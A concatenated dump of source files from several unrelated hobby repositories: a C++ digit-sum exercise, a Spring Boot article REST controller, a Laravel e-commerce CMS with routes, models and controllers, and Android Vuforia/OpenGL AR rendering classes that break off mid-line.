return(z);//return the result to int main
}
int main ()
{
//declare varibles
int n =0;
int r =1;
while ( r == 1) //checks to see that the user wants to keep participating
{
std :: cout << '\n';
std :: cout << "Please enter a No:" << std :: endl;
std :: cin >> n;
std :: cout << "The sum of the digits is : " << addDigits (n) << std :: endl;
std :: cout << '\n';
std :: cout << "Want to try again? (y=1/n=0):" << std :: endl;
std :: cin >> r; //if 0 is inputed then the looping condition will be false and the user will not be able to input a new number
}
std :: cout << "Thank you!" << std :: endl;
return(0);
}
| 6d020af64f79a5a02bf1280cb282082229588e8f | [
"Markdown",
"Makefile",
"C++"
] | 8 | Markdown | dnherrig/EECS168 | f3a0970a39a02f499128b45d8f48c0f7bb83540a | 3a5600108d8f6375f39c49e02a5b31db5e6329b5 |
refs/heads/master | <file_sep>package com.talenteo.search.resource;
import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
import java.net.URI;
import java.util.List;
import java.util.Optional;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.servlet.support.ServletUriComponentsBuilder;
import com.talenteo.search.document.ArticleDocument;
import com.talenteo.search.service.ArticleService;
import io.swagger.annotations.ApiOperation;
import lombok.AllArgsConstructor;
import lombok.extern.slf4j.Slf4j;
@RestController
@Slf4j
@RequestMapping("/api")
@AllArgsConstructor
public class ArticleResource {
private final ArticleService articleService;
@ApiOperation("create an article")
@PostMapping(path = "/v1/articles",consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<ArticleDocument> createArticle(@RequestBody ArticleDocument articleDocument) {
articleDocument = articleService.createArticle(articleDocument);
final URI location = ServletUriComponentsBuilder.fromCurrentServletMapping().path("/api/v1/articles").build().expand(articleDocument.getId()).toUri();
return ResponseEntity.created(location).body(articleDocument);
}
@ApiOperation("update an article")
@PutMapping(path = "/v1/articles",consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<ArticleDocument> updateArticle(@RequestBody ArticleDocument articleDocument) {
articleDocument = articleService.createArticle(articleDocument);
return ResponseEntity.ok().body(articleDocument);
}
@ApiOperation("delete article")
@DeleteMapping(produces = APPLICATION_JSON_VALUE, path = "/v1/articles/{id}")
public ResponseEntity<Void> DeleteAddress(@PathVariable String id) {
articleService.deleteArticle(id);
return ResponseEntity.noContent().build();
}
@ApiOperation("search all article")
@GetMapping(produces = APPLICATION_JSON_VALUE, path = "/v1/articles")
ResponseEntity<List<ArticleDocument>> getAllArticles() {
List<ArticleDocument> articles = articleService.getAllArticles();
return ResponseEntity.ok().body(articles);
}
@ApiOperation("search article by document id")
@GetMapping(produces = APPLICATION_JSON_VALUE, path = "/v1/articles/{id}")
ResponseEntity<ArticleDocument> getArticleById(@PathVariable String id) {
Optional<ArticleDocument> articleDocument = articleService.getArticleById(id);
return articleDocument.map(article -> ResponseEntity.ok().body(article)).orElseGet(() -> ResponseEntity.notFound().build());
}
@ApiOperation("search article by author's name")
@GetMapping(produces = APPLICATION_JSON_VALUE, path = "/v1/articles/author/{authorName}")
ResponseEntity<List<ArticleDocument>> getArticleByAuthorName(@PathVariable String authorName) {
List<ArticleDocument> articleDocument = articleService.getArticleByAuthorsName(authorName);
return ResponseEntity.ok().body(articleDocument);
}
}
| 498c1041c14af287d2720c0dd8e84b3ccd301648 | [
"Java"
] | 1 | Java | m-imad/talenteo-search | 05105c4fb71cb338244224402d968053b7da7f68 | 6e9f4bb6112bde800782db7a0e41939d024fc6c4 |
refs/heads/master | <file_sep><?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
class shopping_cart extends Model
{
public $timestamps = true ;
protected $fillable = [
'user_id',
'product_id',
] ;
}
<file_sep><?php
namespace App\Http\Controllers\Front;
use App\Http\Controllers\Controller;
use App\Models\Brand;
use App\Models\Category;
use App\Models\Colors;
use App\Models\Contact;
use App\Models\Product;
use App\Models\Size;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\View;
class indexController extends Controller
{
public function index(){
$products = Product::all();
View::share('products',$products);
$sizes = Size::all();
View::share('sizes',$sizes);
$categories = Category::all();
View::share('categories',$categories);
$colors = Colors::all();
View::share('colors',$colors);
$brands = Brand::all();
View::share('brands',$brands);
return view('Front.index');
}
public function archive($id){
$product =Product::Find($id);
View::share('product',$product);
return view('Front.product');
}
}
<file_sep><?php
namespace App\Http\Controllers\Cms;
use App\Http\Controllers\Controller;
use App\Models\Colors;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\View;
class colorsController extends Controller
{
public function list(){
$colors = Colors::all();
View::share('colors',$colors);
return view('CMS.lists.colorList');
}
public function index(){
return view('CMS.news.color');
}
public function create_color(Request $request){
$request->validate([
'name' => 'required'
]);
$colors = new Colors();
$colors->fill($request->all());
$colors->save();
return redirect()->route('Cms.news.color');
}
public function edit($id){
$color = Colors::find($id);
View::share('color',$color);
return view('CMS.edits.colorEdit');
}
public function edit_color($id, Request $request){
$request->validate([
'name' => 'required'
]);
$color= Colors::find($id);
$color->fill($request->all());
$color->save();
return redirect()->route('Cms.list.color');
}
public function remove($id){
$color = Colors::find($id);
$color->delete();
return redirect()->route('Cms.list.color');
}
}
<file_sep><?php
namespace App\Http\Controllers\Auth;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
class adminController extends Controller
{
public function __construct()
{
$this->middleware('auth');
$this->middleware('adminCheck');
}
public function index(){
return view('CMS.home');
}
}
<file_sep><?php
namespace App\Http\Controllers\Front;
use App\Http\Controllers\Controller;
use App\Models\Product;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\View;
class shopController extends Controller
{
public function index(){
$products = Product::all();
View::share('products',$products);
return view('Front.shop');
}
}
<file_sep><?php
namespace App\Http\Controllers\Cms;
use App\Http\Controllers\Controller;
use App\Models\Category;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\View;
use SebastianBergmann\CodeCoverage\TestFixture\C;
class categoryController extends Controller
{
public function list(){
$categories = Category::all();
View::share('categories',$categories);
return view('CMS.lists.categoryList');
}
public function index(){
return view('CMS.news.category');
}
public function create_category(Request $request){
$request->validate([
'name' => 'required'
]);
$category = new Category();
$category->fill($request->all());
$category->save();
return redirect()->route('Cms.news.category');
}
public function edit($id){
$category = Category::find($id);
View::share('category',$category);
return view('CMS.edits.categoryEdit');
}
public function edit_category($id, Request $request){
$request->validate([
'name' => 'required'
]);
$category = Category::find($id);
$category->fill($request->all());
$category->save();
return redirect()->route('Cms.list.category');
}
public function remove($id){
$category = Category::find($id);
$category->delete();
return redirect()->route('Cms.list.category');
}
}
<file_sep><?php
use Illuminate\Database\Seeder;
use Illuminate\Support\Facades\DB;
class colorTableSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
$faker= Faker\Factory::create('tr_TR');
for($i=0; $i<10 ; $i++){
DB::table('colors')->insert([
'name'=>$faker->colorName,
]);
}
}
}
<file_sep><?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
class Product extends Model
{
use SoftDeletes;
protected $table = 'products' ;
public $timestamps = true ;
protected $fillable = [
'image',
'name',
'gender',
'brand_id',
'category_id',
'size_id',
'price',
];
public function brand()
{
return $this -> belongsTo(Brand::class , 'brand_id');
}
public function category()
{
return $this -> belongsTo(Category::class , 'category_id');
}
public function size()
{
return $this -> belongsTo(Size::class , 'size_id');
}
public function colors()
{
return $this->hasMany(color_product::class, 'product_id');
}
}
<file_sep><?php
namespace App\Http\Controllers\Cms;
use App\Http\Controllers\Controller;
use App\Models\Size;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\View;
class sizeController extends Controller
{
public function list(){
$sizes = Size::all();
View::share('sizes',$sizes);
return view('CMS.lists.sizeList');
}
public function index(){
return view('CMS.news.size');
}
public function create_size(Request $request){
$request->validate([
'name' => 'required'
]);
$size = new Size();
$size->fill($request->all());
$size->save();
return redirect()->route('Cms.news.size');
}
public function edit($id){
$size = Size::find($id);
View::share('size',$size);
return view('CMS.edits.sizeEdit');
}
public function edit_size($id, Request $request){
$request->validate([
'name' => 'required'
]);
$size= Size::find($id);
$size->fill($request->all());
$size->save();
return redirect()->route('Cms.list.size');
}
public function remove($id){
$size = Size::find($id);
$size->delete();
return redirect()->route('Cms.list.size');
}
}
<file_sep># e-commerce
MVC
<file_sep><?php
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Auth::routes();
Route::get('/', 'Front\indexController@index')->name('Front.index');
Route::get('/archive/{id}', 'Front\indexController@archive')->name('Front.index.archive');
Route::get('/shop','Front\shopController@index')->name('Front.shop');
Route::post('/search','Front\searchController@search')->name('Front.search');
Route::group(['prefix'=>'shoppingcart'],function (){
Route::get('/view','Front\shoppingcartController@index')->name('Front.shoppingcart');
Route::get('/add/','Front\shoppingcartController@add')->name('Front.add_shoppingcart');
// Route::post('/add','Front\shoppingcartController@add')->name('Front.add_shoppingcart');
});
Route::get('exit',function (){\Illuminate\Support\Facades\Auth::logout();
return redirect()->route('login');
})->name('log_out');
/*Route::group(['prefix'=>'panel','middleware'=>'auth'],function (){
Route::get('/',function (){
return view('CMS.home');
})->name('CMS.home');
});*/
Route::get('/panel','Auth\adminController@index')->name('Cms.home');
Route::group(['prefix'=>'colors'],function (){
Route::get('/create', 'Cms\colorsController@index')->name('Cms.news.color');
Route::get('/list','Cms\colorsController@list')->name('Cms.list.color');
Route::post('/create_color','Cms\colorsController@create_color')->name('Cms.news.create_color');
Route::get('/edit/{id}','Cms\colorsController@edit')->name('Cms.edits.color');
Route::post('/edit_color/{id}','Cms\colorsController@edit_color')->name('Cms.edits.edit_color');
Route::get('/delete/{id}','Cms\colorsController@remove')->name('Cms.edits.delete_color');
});
Route::group(['prefix'=>'category'],function (){
Route::get('/create', 'Cms\categoryController@index')->name('Cms.news.category');
Route::get('/list','Cms\categoryController@list')->name('Cms.list.category');
Route::post('/create_category','Cms\categoryController@create_category')->name('Cms.news.create_category');
Route::get('/edit/{id}','Cms\categoryController@edit')->name('Cms.edits.category');
Route::post('/edit_category/{id}','Cms\categoryController@edit_category')->name('Cms.edits.edit_category');
Route::get('/delete/{id}','Cms\categoryController@remove')->name('Cms.edits.delete_category');
});
Route::group(['prefix'=>'size'],function (){
Route::get('/create','Cms\sizeController@index')->name('Cms.news.size');
Route::get('/list','Cms\sizeController@list')->name('Cms.list.size');
Route::post('/create_size','Cms\sizeController@create_size')->name('Cms.news.create_size');
Route::get('/edit_size/{id}','Cms\sizeController@edit')->name('Cms.edits.size');
Route::post('/edit_size/{id}','Cms\sizeController@edit_size')->name('Cms.edits.edit_size');
Route::get('/delete/{id}','Cms\sizeController@remove')->name('Cms.edits.delete_size');
});
Route::group(['prefix'=>'brand'],function(){
Route::get('/create','Cms\brandController@index')->name('Cms.news.brand');
Route::get('/list','Cms\brandController@list')->name('Cms.list.brand');
Route::post('/brand_create','Cms\brandController@create_brand')->name('Cms.news.create_brand');
Route::get('/edit/{id}','Cms\brandController@edit')->name('Cms.edits.brand');
Route::post('/edit_brand/{id}','Cms\brandController@edit_brand')->name('Cms.edits.edit_brand');
Route::get('/delete/{id}','Cms\brandController@remove')->name('Cms.edits.delete_brand');
});
Route::group(['prefix'=>'contact'],function(){
Route::get('/create','Cms\contactController@index')->name('Cms.news.contact');
Route::get('/list','Cms\contactController@list')->name('Cms.list.contact');
Route::post('/create_contact','Cms\contactController@create_contact')->name('Cms.news.create_contact');
Route::get('/edit/{id}','Cms\contactController@edit')->name('Cms.edits.contact');
Route::post('/edit_contact/{id}','Cms\contactController@edit_contact')->name('Cms.edits.edit_contact');
Route::get('/delete/{id}','Cms\contactController@remove')->name('Cms.edits.delete_contact');
});
Route::group(['prefix'=>'product'],function (){
Route::get('/create','Cms\productController@index')->name('Cms.news.product');
Route::get('/list','Cms\productController@list')->name('Cms.list.product');
Route::post('/create_product' , 'Cms\productController@create_product')->name('Cms.news.create_product');
Route::get('/edit/{id}','Cms\productController@edit')->name('Cms.edits.product');
Route::post('/edit_product/{id}','Cms\productController@edit_product')->name('Cms.edits.edit_product');
Route::get('/delete/{id}','Cms\productController@remove')->name('Cms.edits.delete_product');
});
/*Route::get('/home', 'HomeController@index')->name('home');*/
<file_sep><?php
namespace App\Http\Controllers\Front;
use App\Http\Controllers\Controller;
use App\Models\Category;
use App\Models\Product;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\View;
class searchController extends Controller
{
public function search(){
$search = request()->input('search');
$results = Product::where('name','like',"%$search%")->get();
/*$category = Category::where('name','like', "%$search%")->get();*/
View::share('results', $results);
return view('Front.search');
}
}
/*$results = Product::where('name','like',"%$search%")->with(['category' => function($search){
$search->select(['name']);
}] )->get();*/
<file_sep><?php
namespace App\Http\Controllers\Cms;
use App\Http\Controllers\Controller;
use App\Models\Contact;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\View;
class contactController extends Controller
{
public function list(){
$contacts = Contact::all();
View::share('contacts',$contacts);
return view('CMS.lists.contactlist');
}
public function index(){
return view('CMS.news.contact');
}
public function create_contact(Request $request){
$request->validate([
'contactname' => 'required|max:100',
'contact' => 'required',
'number' => 'required'
]);
$contact = new Contact();
$contact->fill($request->all());
$contact->save();
return redirect()->route('Cms.news.contact');
}
public function edit($id){
$contact = Contact::find($id);
View::share('contact',$contact);
return view('CMS.edits.contactEdit');
}
public function edit_contact($id, Request $request){
$request->validate([
'contactname' => 'required|max:100',
'contact' => 'required',
'number' => 'required'
]);
$contact= Contact::find($id);
$contact->fill($request->all());
$contact->save();
return redirect()->route('Cms.list.contact');
}
public function remove($id){
$contact = Contact::find($id);
$contact->delete();
return redirect()->route('Cms.list.contact');
}
}
<file_sep><?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
class color_product extends Model
{
use SoftDeletes;
public $timestamps = true;
protected $table = 'color_products';
protected $fillable = [
'color_id',
'product_id'
];
/**
* @var mixed
*/
public function color()
{
return $this -> belongsTo(Colors::class,'color_id');
}
}
<file_sep><?php
namespace App\Http\Controllers\Front;
use App\Http\Controllers\Controller;
use App\Models\Product;
use App\Models\shopping_cart;
use Illuminate\Support\Facades\Response;
use Illuminate\Support\Facades\View;
use Illuminate\Http\Request;
class shoppingcartController extends Controller
{
public function index()
{
return view('Front.shoppingCart');
}
public function add(Request $request)
{
$basket = new shopping_cart();
$basket -> fill($request->all());
$basket-> user_id = request()->user()->id;
$basket->save();
/*
$basket->product_id=$id;
$basket->user_id =$request->user()->id;*/
return Response::json([
'message' => 'true'
]);
}
}
<file_sep><?php
namespace App\Http\Controllers\Cms;
use App\Http\Controllers\Controller;
use App\Models\Brand;
use App\Models\Category;
use App\Models\color_product;
use App\Models\Colors;
use App\Models\Product;
use App\Models\Size;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\View;
class productController extends Controller
{
public function index()
{
$sizes = Size::all();
View::share('sizes',$sizes);
$categories = Category::all();
View::share('categories',$categories);
$colors = Colors::all();
View::share('colors',$colors);
$brands = Brand::all();
View::share('brands',$brands);
return view('Cms.news.product');
}
public function list(){
$products = Product::all();
View::share('products',$products);
return view('CMS.lists.productList');
}
public function create_product(Request $request){
$request -> validate([
'image' => 'required',
'name' => 'required',
'gender'=>'required',
'brand_id' => 'required',
'colors.*' => 'required|distinct',
'category_id' => 'required' ,
'size_id' => 'required' ,
'price'=>'required',
]);
$product = new Product();
$product->fill($request ->all());
if ($request->hasFile('image')) {
$file = $request->file('image');
$file->move(public_path() . '/images/news', $file->getClientOriginalName());
$product->image = $file->getClientOriginalName();
}
$product -> save();
foreach ($request -> colors as $key_color => $color) {
$colorProduct = new color_product();
$colorProduct->color_id =$color;
$colorProduct->product_id =$product->id;
$colorProduct->save();
}
return redirect()->route('Cms.news.product');
}
public function edit($id){
$product = Product::find($id);
View::share('product',$product);
$sizes = Size::all();
View::share('sizes',$sizes);
$categories = Category::all();
View::share('categories',$categories);
$colors = Colors::all();
View::share('colors',$colors);
$brands = Brand::all();
View::share('brands',$brands);
return view('CMS.edits.productEdit');
}
public function edit_product($id, Request $request){
$request -> validate([
'image' => 'required',
'name' => 'required',
'brand_id' => 'required',
'colors.*' => 'required|distinct',
'category_id' => 'required' ,
'size_id' => 'required' ,
'price'=>'required',
]);
$product = Product::find($id);
$product->fill($request ->all());
color_product::where('product_id' , $product -> id)->delete();
if ($request->hasFile('image')) {
$file = $request->file('image');
$file->move(public_path() . '/images/news', $file->getClientOriginalName());
$product->image = $file->getClientOriginalName();
}
$product -> save();
foreach ($request -> colors as $key_color => $color) {
$colorProduct = new color_product();
$colorProduct->color_id =$color;
$colorProduct->product_id =$product->id;
$colorProduct->save();
}
return redirect()->route('Cms.list.product');
}
public function remove($id){
$product= Product::findOrFail($id);
color_product::where('product_id',$product->id)->delete();
$product->delete();
return redirect()->route('Cms.list.product');
}
}
<file_sep><?php
namespace App\Http\Controllers\Cms;
use App\Http\Controllers\Controller;
use App\Models\Brand;
use App\Models\Category;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\View;
class brandController extends Controller
{
Public function list(){
$brands = Brand::all();
View::share('brands',$brands);
return view('CMS.lists.brandList');
}
public function index(){
return view('CMS.news.brand');
}
public function create_brand(Request $request){
$request->validate([
'name' => 'required'
]);
$brand = new Brand();
$brand->name=$request->input('name');
$brand->save();
return redirect()->route('Cms.news.brand');
}
public function edit($id){
$brand = Brand::find($id);
View::share('brand',$brand);
return view('CMS.edits.brandEdit');
}
public function edit_brand($id, Request $request){
$request->validate([
'name' => 'required'
]);
$brand = Brand::find($id);
$brand->fill($request->all());
$brand->save();
return redirect()->route('Cms.list.brand');
}
public function remove($id){
$brand = Brand::find($id);
$brand->delete();
return redirect()->route('Cms.list.brand');
}
}
<file_sep><?php
use Illuminate\Database\Seeder;
use Illuminate\Support\Facades\DB;
class sizeTableSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
DB::table('size')->insert(['name'=>'s']);
DB::table('size')->insert(['name'=>'m']);
DB::table('size')->insert(['name'=>'l']);
DB::table('size')->insert(['name'=>'xl']);
}
}
| 4671e79bf5deda2e1858652cc4250bb9616d2ea0 | [
"Markdown",
"PHP"
] | 18 | PHP | yusufsrmli/LaraFashion | 71a49e17855f751485231a1050b813d106bb59b8 | df49081f07817b86cbbad069273c99e4d820f04f |
refs/heads/master | <repo_name>shiweixian2/Connector<file_sep>/app/src/main/java/com/hillsidewatchers/connector/app/FrameMarkers/FrameMarkerRenderer.java
/*===============================================================================
Copyright (c) 2016 PTC Inc. All Rights Reserved.
Copyright (c) 2012-2014 Qualcomm Connected Experiences, Inc. All Rights Reserved.
Vuforia is a trademark of PTC Inc., registered in the United States and other
countries.
===============================================================================*/
package com.hillsidewatchers.connector.app.FrameMarkers;
import android.opengl.GLES20;
import android.opengl.GLSurfaceView;
import android.opengl.Matrix;
import android.util.Log;
import com.hillsidewatchers.connector.utils.ApplicationSession;
import com.hillsidewatchers.connector.utils.Texture;
import com.hillsidewatchers.connector.widget.Ring;
import com.vuforia.Marker;
import com.vuforia.MarkerResult;
import com.vuforia.Matrix34F;
import com.vuforia.Renderer;
import com.vuforia.State;
import com.vuforia.Tool;
import com.vuforia.TrackableResult;
import com.vuforia.VIDEO_BACKGROUND_REFLECTION;
import com.vuforia.Vuforia;
import java.util.Vector;
import javax.microedition.khronos.egl.EGLConfig;
import javax.microedition.khronos.opengles.GL10;
/**
* 屏幕上出现的模型最终是在这个类中实现的
*/
// The renderer class for the FrameMarkers sample.
public class FrameMarkerRenderer implements GLSurfaceView.Renderer {
private static final String LOGTAG = "FrameMarkerRenderer";
ApplicationSession vuforiaAppSession;
FrameMarkers mActivity;
private float startX = 0;
private float startY = 0;
public boolean mIsActive = false;
private Vector<Texture> mTextures;
Ring ring;
private float[] mProjectionMatrix = new float[16];
float centerX;
float centerY;
int[] viewport;
public FrameMarkerRenderer(FrameMarkers activity,
ApplicationSession session, float centerX, float centerY) {
mActivity = activity;
vuforiaAppSession = session;
this.centerX = centerX;
this.centerY = centerY;
}
public void setStartCoor(float startX, float startY) {
this.startX = startX;
this.startY = startY;
}
private float getStartX() {
return startX;
}
private float getStartY() {
return startY;
}
// Called when the surface is created or recreated.
@Override
public void onSurfaceCreated(GL10 gl, EGLConfig config) {
Log.d(LOGTAG, "GLRenderer.onSurfaceCreated");
// Call function to initialize rendering:
initRendering();
//对象的实例化里面涉及到openglES的不能在这个类的构造方法里初始化
ring = new Ring(0.2f, 0.7f);
vuforiaAppSession.onSurfaceCreated();
}
// Called when the surface changed size.
@Override
public void onSurfaceChanged(GL10 gl, int width, int height) {
Log.d(LOGTAG, "GLRenderer.onSurfaceChanged");
float ratio = (float) width / height;
Matrix.frustumM(mProjectionMatrix, 0, -ratio, ratio, -1, 1, 3, 7);
// Call Vuforia function to handle render surface size changes:
vuforiaAppSession.onSurfaceChanged(width, height);
}
// Called to draw the current frame.
@Override
public void onDrawFrame(GL10 gl) {
renderFrame();
}
void initRendering() {
Log.d(LOGTAG, "initRendering");
//画背景色
GLES20.glClearColor(0.0f, 0.0f, 0.0f, Vuforia.requiresAlpha() ? 0.0f
: 1.0f);
// Now generate the OpenGL texture objects and add settings
// for (Texture t : mTextures) {
// GLES20.glGenTextures(1, t.mTextureID, 0);
// GLES20.glBindTexture(GLES20.GL_TEXTURE_2D, t.mTextureID[0]);
// GLES20.glTexParameterf(GLES20.GL_TEXTURE_2D,
// GLES20.GL_TEXTURE_MIN_FILTER, GLES20.GL_LINEAR);
// GLES20.glTexParameterf(GLES20.GL_TEXTURE_2D,
// GLES20.GL_TEXTURE_MAG_FILTER, GLES20.GL_LINEAR);
// GLES20.glTexImage2D(GLES20.GL_TEXTURE_2D, 0, GLES20.GL_RGBA,
// t.mWidth, t.mHeight, 0, GLES20.GL_RGBA,
// GLES20.GL_UNSIGNED_BYTE, t.mData);
// }
}
void renderFrame() {
//清除颜色缓冲和深度缓冲
GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT | GLES20.GL_DEPTH_BUFFER_BIT);
//从vuforia获得状态,并且标志着渲染的开始
State state = Renderer.getInstance().begin();
// Explicitly render the Video Background
Renderer.getInstance().drawVideoBackground();
GLES20.glEnable(GLES20.GL_DEPTH_TEST);//开启深度测试
// GLES20.glEnable(GLES20.GL_CULL_FACE); //打开背面剪裁
GLES20.glCullFace(GLES20.GL_BACK);//禁用背面的光照
if (Renderer.getInstance().getVideoBackgroundConfig().getReflection() == VIDEO_BACKGROUND_REFLECTION.VIDEO_BACKGROUND_REFLECTION_ON)
GLES20.glFrontFace(GLES20.GL_CW); // Front camera
else
GLES20.glFrontFace(GLES20.GL_CCW); // Back camera
//获取视口数据
viewport = vuforiaAppSession.getViewport();
GLES20.glViewport(viewport[0], viewport[1], viewport[2], viewport[3]);
for (int tIdx = 0; tIdx < state.getNumTrackableResults(); tIdx++) {
// Get the trackable:
TrackableResult trackableResult = state.getTrackableResult(tIdx);
Matrix34F pose = trackableResult.getPose();
//追踪效果的视图矩阵
float[] modelViewMatrix = Tool.convertPose2GLMatrix(pose).getData();
// Choose the texture based on the target name:
// int textureIndex = 0;
MarkerResult markerResult = (MarkerResult) (trackableResult);
Marker marker = (Marker) markerResult.getTrackable();
// textureIndex = marker.getMarkerId();
// Texture thisTexture = mTextures.get(textureIndex);
// Select which model to draw:
switch (marker.getMarkerId()) {
case 0:
// qObject1.drawModel(modelViewMatrix, vuforiaAppSession, thisTexture);
break;
case 1:
// cObject1.drawModel(modelViewMatrix,vuforiaAppSession,thisTexture);
// ring.drawModel(modelViewMatrix, vuforiaAppSession,startX,startY);
break;
case 2:
// aObject1.drawModel(modelViewMatrix,vuforiaAppSession,thisTexture);
break;
default:
// square.draw(mProjectionMatrix);
// ring.draw(modelViewMatrix,vuforiaAppSession);
// if (startX != 0)
// startX = startX == getStartX() ? 0 : getStartX();
// if (startY != 0)
// startY = startY == getStartY() ? 0 : getStartY();
// ring.drawModel(modelViewMatrix, vuforiaAppSession,mActivity.get, pose);
// line.draw(mProjectionMatrix);
break;
}
}
// square.draw(mProjectionMatrix);
GLES20.glDisable(GLES20.GL_DEPTH_TEST);
Renderer.getInstance().end();
}
public void setTextures(Vector<Texture> textures) {
mTextures = textures;
}
}
<file_sep>/app/src/main/java/com/hillsidewatchers/connector/widget/Line.java
package com.hillsidewatchers.connector.widget;
import android.opengl.GLES20;
import android.util.Log;
import com.hillsidewatchers.connector.utils.Shader;
import java.nio.Buffer;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.FloatBuffer;
import java.nio.ShortBuffer;
/**
* Created by 曾翔钰 on 2016/7/31.
*/
public class Line {
private int mProgram;
private static final String TAG = "Line";
private float centerX;
private float centerY;
//一直起始点
private float startX = 0.0f;
private float startY = 0.0f;
private float endX = 0.0f;
private float endY = 0.0f;
private float unit;
private float width = 100.0f;
private float[] coorArr = {
-0.1f, 0.1f, 0f,//左上
-0.1f, -0.1f, 0f,//左下
0.1f, -0.1f, 0f,//右下
0.1f, 0.1f, 0f,//右上
};
private FloatBuffer vertexBuffer;
private final int COORDS_PER_VERTEX = 3;
private final int vertexStride = COORDS_PER_VERTEX * 4;
private final int vertexCount = coorArr.length / COORDS_PER_VERTEX;
float color[] = {0.63671875f, 0.76953125f, 0.22265625f, 1.0f};
int flagX;
int flagY;
public Line(float centerX, float centerY) {
vertexBuffer = (FloatBuffer) getVertexBuffer(coorArr);
unit = centerY;
this.centerX = centerX;
this.centerY = centerY;
initProgram();
}
private void initProgram() {
//获取点着色器
int vertexShader = Shader.getVertexShader();
//获取片段着色器
int fragmentShader = Shader.getFragmentShader();
// 创建一个空的OpenGL ES Program
mProgram = GLES20.glCreateProgram();
// 将vertexShader和fragment shader加入这个program
GLES20.glAttachShader(mProgram, vertexShader);
// add the fragment shader to program
GLES20.glAttachShader(mProgram, fragmentShader);
// 让program可执行
GLES20.glLinkProgram(mProgram);
}
public void draw(float[] mMVPMatrix) {
GLES20.glUseProgram(mProgram);
int vertexHandle = GLES20.glGetAttribLocation(mProgram,
"vertexPosition");
GLES20.glVertexAttribPointer(vertexHandle, COORDS_PER_VERTEX,
GLES20.GL_FLOAT, false,
vertexStride, vertexBuffer);
GLES20.glEnableVertexAttribArray(vertexHandle);
int mvpMatrixHandle = GLES20.glGetUniformLocation(mProgram, "modelViewProjectionMatrix");
GLES20.glUniformMatrix4fv(mvpMatrixHandle, 1, false, mMVPMatrix, 0);
int mColorHandle = GLES20.glGetUniformLocation(mProgram, "vColor");
GLES20.glUniform4fv(mColorHandle, 1, color, 0);
GLES20.glDrawArrays(GLES20.GL_TRIANGLE_FAN, 0, vertexCount);
GLES20.glDisableVertexAttribArray(vertexHandle);
}
/**
* 设置线段的终点坐标
* @param endX x
* @param endY y
*/
public void setEndDrawCoor(float endX, float endY) {
this.endX = endX;
this.endY = endY;
Log.e("endDraw", "" + endX + ", " + endY);
double temp = Math.pow((startX - endX), 2) + Math.pow((endY - startY), 2);
float distanceY = (float) ((Math.abs(endY - startY) * 0.5 * width) / (Math.sqrt(temp)));
float distanceX = (float) ((Math.abs(endX - startX) * 0.5 * width) / (Math.sqrt(temp)));
flagX = endX - startX < 0 ? -1 : 1;
flagY = endY - startY < 0 ? -1 : 1;
if (flagX * flagY > 0) {
coorArr[0] = ((this.startX - distanceY) - centerX) / unit;//左上-+
coorArr[1] = (-(this.startY + distanceX) + centerY) / unit;
coorArr[3] = ((this.startX + distanceY) - centerX) / unit;//左下--
coorArr[4] = (-(this.startY - distanceX) + centerY) / unit;
coorArr[6] = ((this.endX + distanceY) - centerX) / unit;//右下+-
coorArr[7] = (-(this.endY - distanceX) + centerY) / unit;
coorArr[9] = ((this.endX - distanceY) - centerX) / unit;//右上++
coorArr[10] = (-(this.endY + distanceX) + centerY) / unit;
} else {
coorArr[0] = ((this.startX - distanceY) - centerX) / unit;//左上-+
coorArr[1] = (-(this.startY - distanceX) + centerY) / unit;
coorArr[3] = ((this.startX + distanceY) - centerX) / unit;//左下--
coorArr[4] = (-(this.startY + distanceX) + centerY) / unit;
coorArr[6] = ((this.endX + distanceY) - centerX) / unit;//右下+-
coorArr[7] = (-(this.endY + distanceX) + centerY) / unit;
coorArr[9] = ((this.endX - distanceY) - centerX) / unit;//右上++
coorArr[10] = (-(this.endY - distanceX) + centerY) / unit;
}
vertexBuffer = (FloatBuffer) getVertexBuffer(coorArr);
}
public void setStartDrawCoor(float startX, float startY) {
this.startX = startX;
this.startY = startY;
Log.e("startDraw", "" + startX + ", " + startY);
}
public Buffer getVertexBuffer(float[] arr) {
FloatBuffer mBuffer;
//先初始化buffer,数组的长度*4,因为一个int占4个字节
ByteBuffer qbb = ByteBuffer.allocateDirect(arr.length * 4);
//数组排列用nativeOrder
qbb.order(ByteOrder.nativeOrder());
mBuffer = qbb.asFloatBuffer();
mBuffer.put(arr);
mBuffer.position(0);
return mBuffer;
}
public Buffer bufferUtilShort(short[] arr) {
ShortBuffer mBuffer;
ByteBuffer dlb = ByteBuffer.allocateDirect(
// (# of coordinate values * 2 bytes per short)
